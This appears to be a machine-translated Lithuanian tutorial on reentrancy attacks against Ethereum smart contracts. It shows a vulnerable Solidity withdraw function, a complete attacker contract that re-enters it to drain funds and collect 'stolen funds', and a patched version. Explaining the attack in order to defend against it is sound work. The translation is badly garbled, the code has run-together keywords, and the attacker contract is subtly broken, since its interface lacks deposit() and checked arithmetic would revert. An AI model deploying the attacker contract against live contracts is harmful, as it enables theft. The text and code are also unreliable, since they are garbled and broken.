Štai kaip įvyksta vienas iš labiausiai paplitusių išmaniųjų sutarčių įsilaužimų, „Web 3“ kompanijoms kainuojančių milijonus...

Kai kurie didžiausi įsilaužimai blokų grandinės pramonėje, kai buvo pavogti milijonų dolerių vertės kriptovaliutos žetonai, įvyko dėl pakartotinio įėjimo atakų. Nors pastaraisiais metais šie įsilaužimai tapo retesni, jie vis dar kelia didelę grėsmę „blockchain“ programoms ir vartotojams.

Taigi, kas tiksliai yra sugrįžimo priepuoliai? Kaip jie dislokuojami? Ir ar yra kokių nors priemonių, kurių kūrėjai gali imtis, kad jos neįvyktų?

Kas yra sugrįžimo ataka?

Atkūrimo priepuolis įvyksta, kai pažeidžiama išmaniosios sutarties funkcija daro išorinį skambutį į kenkėjišką sutartį, laikinai atsisakydamas operacijos srauto kontrolės. Kenkėjiška sutartis tada pakartotinai iškviečia pradinę išmaniosios sutarties funkciją, kol ji nebaigia vykdyti ir išeikvoja lėšas.

Iš esmės pinigų išėmimo operacija „Ethereum“ grandinėje vyksta trijų žingsnių ciklu: balanso patvirtinimas, pervedimas ir balanso atnaujinimas. Jei kibernetinis nusikaltėlis gali užgrobti ciklą prieš atnaujindamas balansą, jis gali pakartotinai atsiimti lėšas, kol išeikvos piniginė.

instagram viewer

Vaizdo kreditas: Etherscan

Vienas iš liūdniausių „blockchain“ įsilaužimų, „Ethereum DAO“ įsilaužimas, kurį apėmė Coindesk, buvo sugrįžimo ataka, dėl kurios buvo prarasta daugiau nei 60 milijonų dolerių vertės eth ir iš esmės pasikeitė antros pagal dydį kriptovaliutos kursą.

Kaip veikia sugrįžimo ataka?

Įsivaizduokite banką savo gimtajame mieste, kuriame dori vietiniai laiko savo pinigus; jos bendras likvidumas yra 1 mln. Tačiau banke yra ydinga apskaitos sistema – darbuotojai laukia iki vakaro, kol atnaujins banko likučius.

Jūsų draugas investuotojas apsilanko mieste ir aptinka apskaitos trūkumą. Jis sukuria sąskaitą ir įneša 100 000 USD. Po dienos jis atsiima 100 000 USD. Po valandos jis dar kartą bando atsiimti 100 000 USD. Kadangi bankas neatnaujino jo balanso, jis vis dar rodo 100 000 USD. Taigi jis gauna pinigus. Jis tai daro pakartotinai, kol nebelieka pinigų. Darbuotojai tik tada, kai vakare subalansuoja knygas, supranta, kad pinigų nėra.

Išmaniosios sutarties kontekste procesas vyksta taip:

  1. Kibernetinis nusikaltėlis identifikuoja išmaniąją sutartį „X“ su pažeidžiamumu.
  2. Užpuolikas inicijuoja teisėtą sandorį su tiksline sutartimi X, kad būtų išsiųstos lėšos į kenkėjišką sutartį „Y“. Vykdymo metu Y iškviečia pažeidžiamą funkciją X.
  3. X sutarties vykdymas pristabdomas arba atidėtas, nes sutartis laukia sąveikos su išoriniu įvykiu
  4. Kol vykdymas pristabdytas, užpuolikas pakartotinai iškviečia tą pačią pažeidžiamą funkciją X, vėl suaktyvindamas jos vykdymą kiek įmanoma daugiau kartų
  5. Su kiekvienu sugrįžimu sutarties būsena yra manipuliuojama, todėl užpuolikas gali nusausinti lėšas nuo X iki Y
  6. Išnaudojus lėšas, pakartotinis įvedimas sustabdomas, X atidėtas vykdymas pagaliau baigiamas, o sutarties būsena atnaujinama atsižvelgiant į paskutinį pakartotinį įvedimą.

Paprastai užpuolikas sėkmingai išnaudoja sugrįžimo pažeidžiamumą savo naudai, pavogdamas lėšas iš sutarties.

Pakartotinio išpuolio pavyzdys

Taigi, kaip tiksliai gali techniškai įvykti pakartotinio įėjimo ataka, kai ji naudojama? Štai hipotetinė išmanioji sutartis su sugrįžimo vartais. Naudosime aksiominius pavadinimus, kad būtų lengviau sekti.

// Vulnerable contract with a reentrancy vulnerability

pragmasolidity ^0.8.0;

contract VulnerableContract {
mapping(address => uint256) private balances;

functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}

functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}

The Pažeidžiama sutartis leidžia vartotojams įnešti eth į sutartį naudojant depozitas funkcija. Tada vartotojai gali atsiimti savo deponuotą eth naudodami pasitraukti funkcija. Tačiau yra pakartotinio įėjimo pažeidžiamumas pasitraukti funkcija. Kai vartotojas pasitraukia, sutartis perveda prašomą sumą į vartotojo adresą prieš atnaujinant likutį, taip sukuriama galimybė užpuolikui pasinaudoti.

Štai kaip atrodytų išmanioji užpuoliko sutartis.

// Attacker's contract to exploit the reentrancy vulnerability

pragmasolidity ^0.8.0;

interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}

contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;

constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}

// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();

// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}

// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}

// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}

Pradėjus ataką:

  1. The AttackerContract paima adresą Pažeidžiama sutartis savo konstruktoriuje ir saugo jį pažeidžiama sutartis kintamasis.
  2. The puolimas funkciją iškviečia užpuolikas, įnešdamas šiek tiek eth į Pažeidžiama sutartis naudojant depozitas funkciją ir iškart iškviečia pasitraukti funkcija Pažeidžiama sutartis.
  3. The pasitraukti funkcija Pažeidžiama sutartis perveda prašomą eth kiekį užpuolikui AttackerContract prieš atnaujinant balansą, bet kadangi užpuoliko sutartis pristabdoma išorinio skambučio metu, funkcija dar nebaigta.
  4. The gauti funkcija AttackerContract suveikia, nes Pažeidžiama sutartis Išorinio skambučio metu išsiuntė eth į šią sutartį.
  5. Gavimo funkcija patikrina, ar AttackerContract likutis yra bent 1 eteris (išimama suma), tada jis vėl patenka į Pažeidžiama sutartis paskambinęs ja pasitraukti vėl funkcija.
  6. 3–5 žingsniai kartojami, kol Pažeidžiama sutartis baigiasi lėšos ir užpuoliko sutartyje sukaupiama nemaža eth.
  7. Galiausiai užpuolikas gali paskambinti atsiimti pavogtas lėšas funkcija AttackerContract pavogti visas jų sutartyje sukauptas lėšas.

Ataka gali įvykti labai greitai, priklausomai nuo tinklo našumo. Kai sudaromos sudėtingos išmaniosios sutartys, pvz., DAO Hack, dėl kurių Ethereum atsisuko į Ethereum ir Ethereum Classic, priepuolis įvyksta per kelias valandas.

Kaip užkirsti kelią pakartotiniam išpuoliui

Kad išvengtume pakartotinio įėjimo atakos, turime modifikuoti pažeidžiamą išmaniąją sutartį, kad būtų laikomasi geriausios saugaus išmaniųjų sutarčių kūrimo praktikos. Tokiu atveju turėtume įgyvendinti šabloną „patikrinimai-efektai-sąveika“, kaip nurodyta toliau pateiktame kode.

// Secure contract with the "checks-effects-interactions" pattern

pragmasolidity ^0.8.0;

contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;

functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}

functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");

// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;

// Perform the state change
balances[msg.sender] -= amount;

// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");

// Unlock the sender's account
isLocked[msg.sender] = false;
}
}

Šioje fiksuotoje versijoje pristatėme yra Užrakinta susiejimas, kad būtų galima stebėti, ar iš tam tikros sąskaitos vyksta išėmimas. Kai vartotojas inicijuoja atsisakymą, sutartis patikrina, ar jo sąskaita užrakinta (!yra užrakinta[žinutės siuntėjas]), nurodant, kad šiuo metu nevykdomas joks kitas pinigų išėmimas iš tos pačios sąskaitos.

Jei paskyra neužrakinta, sutartis tęsiama keičiant būseną ir atliekant išorinę sąveiką. Pasikeitus būsenai ir išorinei sąveikai, sąskaita vėl atrakinama, todėl ateityje galima išsiimti.

Atsinaujinančių priepuolių tipai

Vaizdo kreditas: Ivanas Radičius/Flickr

Paprastai yra trys pagrindiniai pakartotinio įėjimo atakų tipai, atsižvelgiant į jų išnaudojimo pobūdį.

  1. Vienkartinis sugrįžimo priepuolis: Šiuo atveju pažeidžiama funkcija, kurią užpuolikas pakartotinai skambina, yra ta pati, kuri yra jautri pakartotinio įėjimo vartams. Aukščiau pateikta ataka yra vienos pakartotinio įėjimo atakos pavyzdys, kurio galima lengvai išvengti tinkamai patikrinus ir užrakinant kodą.
  2. Kryžminis išpuolis: Pagal šį scenarijų užpuolikas naudoja pažeidžiamą funkciją, kad iškviestų kitą funkciją pagal tą pačią sutartį, kuri dalijasi būsena su pažeidžiama. Antroji funkcija, kurią iškviečia užpuolikas, turi tam tikrą pageidaujamą poveikį, todėl ji tampa patrauklesnė išnaudojimui. Ši ataka yra sudėtingesnė ir sunkiau aptikta, todėl norint ją sušvelninti, reikia griežtai tikrinti ir užrakinti tarpusavyje susijusias funkcijas.
  3. Kryžminis kontraktinis puolimas: Ši ataka įvyksta, kai išorinė sutartis sąveikauja su pažeidžiama sutartimi. Šios sąveikos metu pažeidžiamos sutarties būsena iškviečiama išorinėje sutartyje prieš ją visiškai atnaujinant. Paprastai tai atsitinka, kai keliose sutartyse yra tas pats kintamasis, o kai kurios nesaugiai atnaujina bendrinamą kintamąjį. Saugūs ryšio protokolai tarp sutarčių ir periodinių protingas sutarčių auditas turi būti įgyvendinta siekiant sušvelninti šią ataką.

Atgimimo priepuoliai gali pasireikšti įvairiomis formomis, todėl jų prevencijai reikalingos specialios priemonės.

Apsaugokite nuo pakartotinių išpuolių

Atkūrimo atakos sukėlė didelių finansinių nuostolių ir pakirto pasitikėjimą „blockchain“ programomis. Siekdami apsaugoti sutartis, kūrėjai turi stropiai taikyti geriausios praktikos pavyzdžius, kad išvengtų pakartotinio įėjimo pažeidžiamumų.

Jie taip pat turėtų įdiegti saugius išėmimo būdus, naudoti patikimas bibliotekas ir atlikti išsamų auditą, kad dar labiau sustiprintų išmaniosios sutarties apsaugą. Žinoma, nuolat informuodami apie kylančias grėsmes ir aktyviai dėdami saugumo pastangas galite užtikrinti, kad jie taip pat išlaikys blokų grandinės ekosistemų vientisumą.